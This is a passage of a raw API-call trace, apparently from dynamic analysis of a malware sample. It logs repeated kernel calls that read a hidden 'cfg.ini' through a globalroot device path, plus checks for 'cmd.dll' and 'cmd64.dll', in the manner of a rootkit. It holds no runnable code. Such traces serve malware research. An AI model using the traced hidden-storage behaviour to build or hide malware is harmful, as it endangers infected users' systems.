FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.349] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cfa000 [0119.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.349] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.349] IdePortDispatch () returned 0x103 [0119.351] KeWaitForMutexObject () returned 0x0 [0119.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.351] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.351] IdePortDispatch () returned 0x103 [0119.351] KeWaitForMutexObject () returned 0x0 [0119.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.351] KeLeaveCriticalRegion () [0119.351] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.352] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.352] KeEnterCriticalRegion () [0119.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.352] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.352] KeLeaveCriticalRegion () [0119.352] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.352] KeEnterCriticalRegion () [0119.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.352] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.352] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.352] KeLeaveCriticalRegion () [0119.352] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.352] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.352] KeEnterCriticalRegion () [0119.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.352] ExFreePoolWithTag (P=0xfffffa8003bcb460, Tag=0x0) [0119.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.352] KeLeaveCriticalRegion () [0119.352] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.352] ReleaseMutex (hMutex=0xf0) returned 1 [0119.352] Sleep (dwMilliseconds=0x124f80) [0119.363] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.368] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.368] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.368] KeEnterCriticalRegion () [0119.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.368] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.368] IdePortDispatch () returned 0x103 [0119.368] KeWaitForMutexObject () returned 0x0 [0119.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.368] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.368] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.368] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.368] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.368] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003baf990 [0119.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.368] KeLeaveCriticalRegion () [0119.368] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.368] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.368] KeEnterCriticalRegion () [0119.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.368] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.368] KeLeaveCriticalRegion () [0119.368] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.368] KeEnterCriticalRegion () [0119.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.368] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.368] IdePortDispatch () returned 0x103 [0119.368] KeWaitForMutexObject () returned 0x0 [0119.369] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.369] KeLeaveCriticalRegion () [0119.369] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.369] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.369] KeEnterCriticalRegion () [0119.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.369] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d53000 [0119.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.369] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.369] IdePortDispatch () returned 0x103 [0119.369] KeWaitForMutexObject () returned 0x0 [0119.369] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.369] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.369] IdePortDispatch () returned 0x103 [0119.369] KeWaitForMutexObject () returned 0x0 [0119.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.369] KeLeaveCriticalRegion () [0119.369] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.370] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.370] KeEnterCriticalRegion () [0119.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.370] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.370] KeLeaveCriticalRegion () [0119.370] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.370] KeEnterCriticalRegion () [0119.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.370] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.370] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bafa50, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.370] KeLeaveCriticalRegion () [0119.370] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.370] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.370] KeEnterCriticalRegion () [0119.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.370] ExFreePoolWithTag (P=0xfffffa8003baf990, Tag=0x0) [0119.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.370] KeLeaveCriticalRegion () [0119.370] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.370] ReleaseMutex (hMutex=0xf0) returned 1 [0119.370] Sleep (dwMilliseconds=0x124f80) [0119.386] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.386] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.386] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.386] KeEnterCriticalRegion () [0119.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.386] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.386] IdePortDispatch () returned 0x103 [0119.387] KeWaitForMutexObject () returned 0x0 [0119.387] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.387] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.387] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.387] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.387] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.387] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcbcb0 [0119.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.387] KeLeaveCriticalRegion () [0119.387] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.387] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.387] KeEnterCriticalRegion () [0119.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.387] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.387] KeLeaveCriticalRegion () [0119.387] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.387] KeEnterCriticalRegion () [0119.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.387] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.387] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.387] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.387] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.387] IdePortDispatch () returned 0x103 [0119.387] KeWaitForMutexObject () returned 0x0 [0119.387] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.387] KeLeaveCriticalRegion () [0119.387] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.387] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.388] KeEnterCriticalRegion () [0119.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.388] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d58000 [0119.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.388] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.388] IdePortDispatch () returned 0x103 [0119.388] KeWaitForMutexObject () returned 0x0 [0119.388] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.388] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.388] IdePortDispatch () returned 0x103 [0119.388] KeWaitForMutexObject () returned 0x0 [0119.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.388] KeLeaveCriticalRegion () [0119.388] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.389] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.389] KeEnterCriticalRegion () [0119.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.389] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.389] KeLeaveCriticalRegion () [0119.389] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.389] KeEnterCriticalRegion () [0119.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.389] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.389] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bafaa0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.389] KeLeaveCriticalRegion () [0119.389] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.389] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.389] KeEnterCriticalRegion () [0119.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.389] ExFreePoolWithTag (P=0xfffffa8003bcbcb0, Tag=0x0) [0119.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.389] KeLeaveCriticalRegion () [0119.389] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.389] ReleaseMutex (hMutex=0xf0) returned 1 [0119.389] Sleep (dwMilliseconds=0x124f80) [0119.402] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.402] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.403] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.403] KeEnterCriticalRegion () [0119.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.403] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.403] IdePortDispatch () returned 0x103 [0119.403] KeWaitForMutexObject () returned 0x0 [0119.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.403] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.403] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.403] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.403] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.403] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcb2b0 [0119.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.403] KeLeaveCriticalRegion () [0119.403] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.403] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.403] KeEnterCriticalRegion () [0119.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.403] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.403] KeLeaveCriticalRegion () [0119.403] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.403] KeEnterCriticalRegion () [0119.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.403] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.403] IdePortDispatch () returned 0x103 [0119.403] KeWaitForMutexObject () returned 0x0 [0119.404] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.404] KeLeaveCriticalRegion () [0119.404] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.404] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.404] KeEnterCriticalRegion () [0119.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.404] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5d000 [0119.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.404] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.404] IdePortDispatch () returned 0x103 [0119.404] KeWaitForMutexObject () returned 0x0 [0119.404] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.404] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.404] IdePortDispatch () returned 0x103 [0119.404] KeWaitForMutexObject () returned 0x0 [0119.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.404] KeLeaveCriticalRegion () [0119.404] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.405] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.405] KeEnterCriticalRegion () [0119.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.405] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.405] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.405] KeLeaveCriticalRegion () [0119.405] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.405] KeEnterCriticalRegion () [0119.405] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.405] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 